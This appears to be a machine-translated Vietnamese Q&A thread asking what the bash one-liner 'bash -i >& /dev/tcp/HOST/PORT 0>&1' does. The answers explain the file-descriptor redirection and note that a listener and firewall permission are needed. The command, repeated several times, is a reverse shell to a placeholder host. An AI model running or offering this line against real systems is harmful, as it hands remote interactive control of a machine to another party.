Tôi đã thử
bash -i >& /dev/tcp/HOST/PORT 0>&1
nhưng nó dường như không hoạt động đằng sau tường lửa. Mã này thực sự làm gì, cổng nào được chuyển tiếp và nó có thể hoạt động sau tường lửa không?
Tôi đã thử
bash -i >& /dev/tcp/HOST/PORT 0>&1
nhưng nó dường như không hoạt động đằng sau tường lửa. Mã này thực sự làm gì, cổng nào được chuyển tiếp và nó có thể hoạt động sau tường lửa không?
Câu trả lời:
Đoạn mã này chạy một phiên bản tương tác mới của bash ( bash -i
), trên kết nối TCP đến cổng được chỉ định trên máy chủ được chỉ định được tạo trong thời gian của quá trình bash. Đầu ra tiêu chuẩn và lỗi tiêu chuẩn được gửi qua kết nối này ( >& /dev/tcp/HOST/PORT
) và đầu vào tiêu chuẩn được đọc qua kết nối này ( 0>&1
- điều này cũng nên 0<&1
nhưng cũng 0>&1
hoạt động).
Không có cổng chuyển tiếp đang diễn ra. Rõ ràng, một máy chủ TCP thuộc loại nào đó phải lắng nghe và chấp nhận các kết nối trên HOST: PORT đó và tường lửa phải cho phép kết nối thông qua.
/dev/tcp/HOST/PORT
không? Tôi giả sử rằng bạn đã thay thế một tên bằng HOST
và một số bằng PORT
. Nếu không, bạn sẽ nhận được một thông báo lỗi từ bash. Vì bạn không đề cập đến bất kỳ thông báo lỗi nào, tôi cho rằng bạn đã không nhìn thấy một thông báo.
0<&1
phần này. Tôi đọc nó là 'lấy bash stdout ( &1
) và chuyển nó thành bash stdin ( 0
)', điều này có ý nghĩa. Bạn có thể vui lòng giải thích làm thế nào phần này hoạt động?
0<&1
có nghĩa là kết nối bất cứ thứ gì hiện đang được mở trên bộ mô tả tệp 1 với bộ mô tả tệp 0. Vì lần chuyển hướng trước đó đã >& /dev/tcp/HOST/PORT
kết nối fd 1 (mặc định cho chuyển hướng đầu ra) /dev/tcp/HOST/PORT
, tức là đã mở một ổ cắm TCP, điều này sao chép kết nối TCP với bộ mô tả tệp 0 (nghĩa là cùng một ổ cắm hiện đang mở trên fd 0, điều này khác với 0 </ dev / tcp / HOST / PORT sẽ mở một ổ cắm khác cho cùng một máy chủ).